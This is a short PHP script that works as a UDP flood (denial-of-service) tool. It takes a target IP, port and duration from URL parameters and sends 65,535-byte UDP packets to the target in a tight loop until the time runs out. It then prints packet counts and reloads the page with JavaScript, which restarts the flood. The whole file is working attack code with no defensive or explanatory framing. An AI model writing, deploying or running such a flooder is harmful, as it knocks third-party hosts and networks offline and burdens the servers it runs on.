<?php
 $packets = 0;
 $ip = $_GET['ip'];
 $rand = $_GET['port'];
//set_time_limit(0);
 ignore_user_abort(FALSE);
 $exec_time = $_GET['time'];
 $time = time();
 print "Flooded: $ip on port $rand <br><br>";
 $max_time = $time+$exec_time;
	for($i=0;$i<65535;$i++){
	$out .= "X";
	}
	while(1){
		$packets++;
		if(time() > $max_time){
			break;
		}
		$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
		if($fp){
			fwrite($fp, $out);
			fclose($fp);
		}
	}
	echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
	echo '<script type="text/javascript" charset="utf-8">window.location.reload();</script>';
?>